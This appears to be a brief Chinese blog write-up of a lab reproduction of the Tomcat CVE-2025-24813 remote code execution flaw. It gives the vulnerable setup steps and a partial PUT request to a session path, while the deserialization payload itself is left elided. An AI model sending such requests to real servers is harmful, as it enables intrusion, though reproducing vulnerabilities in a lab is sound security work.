简单翻阅资料可以做出如下总结:
这个漏洞的成因是tomcat的部分put功能缺陷导致的文件上传,导致不安全反序列化的漏洞,进而实现远程命令执行的漏洞
我对tomcat的了解不多,所以这次集中在复现上
docker pull tomcat:9.0.98-jdk8
在conf/web.xml中设置readonly为false

开启file文件会话存储

将Commons Collections 下载到lib文件夹中
https://repo1.maven.org/maven2/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar

文件上传成功

PUT /poc/session HTTP/1.1
Host: localhost:8889
Content-Range: bytes 0-1000/1200
{{(paylaod...)}}
RCE利用
在yakit中构造一个payload

发送,触发



复现成功
奇安信攻防社区-全网首发!CVE-2025-24813 Tomcat 最新 RCE 分析复现
Apache Tomcat CVE-2025-24813: What You Need to Know | Rapid7 Blog